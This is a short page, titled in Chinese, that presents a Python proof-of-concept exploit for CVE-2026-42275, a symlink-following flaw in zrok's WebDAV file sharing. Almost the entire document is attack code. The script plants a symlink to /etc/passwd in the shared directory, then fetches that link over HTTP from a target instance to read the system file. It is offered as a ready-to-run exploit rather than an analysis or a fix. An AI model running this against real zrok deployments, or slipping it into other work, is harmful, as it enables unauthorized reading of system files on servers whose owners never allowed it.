CVE-2026-42275 zrok符号链接任意文件读写漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42275 (zrok Symlink Following) This script demonstrates how a symlink inside the shared DriveRoot bypasses path traversal restrictions. """ import os import requests # Configuration WEBDAV_URL = "http://target-zrok-instance/public/" # The zrok share URL MALICIOUS_LINK_NAME = "etc_passwd_link" TARGET_FILE = "/etc/passwd" def create_symlink_in_share(): """ Simulates creating a symlink in the shared directory. In a real scenario, this might be done via WebDAV PUT if allowed, or by an insider/third-party mechanism. """ print(f"[+] Creating symlink '{MALICIOUS_LINK_NAME}' -> '{TARGET_FILE}'...") try: os.symlink(TARGET_FILE, MALICIOUS_LINK_NAME) print("[+] Symlink created successfully.") except Exception as e: print(f"[-] Failed to create symlink: {e}") def exploit_symlink(): """ Attempts to read the file through the symlink via WebDAV. """ print(f"[+] Attempting to read '{MALICIOUS_LINK_NAME}' via WebDAV...") url = f"{WEBDAV_URL}{MALICIOUS_LINK_NAME}" try: response = requests.get(url) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print("-" * 20) print(response.text[:200]) # Print first 200 chars print("-" * 20) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": # Step 1: Setup the malicious symlink create_symlink_in_share() # Step 2: Access the file remotely # Note: In a real attack, the attacker uses a WebDAV client like cadaver or curl. # Here we simulate the HTTP GET request. exploit_symlink()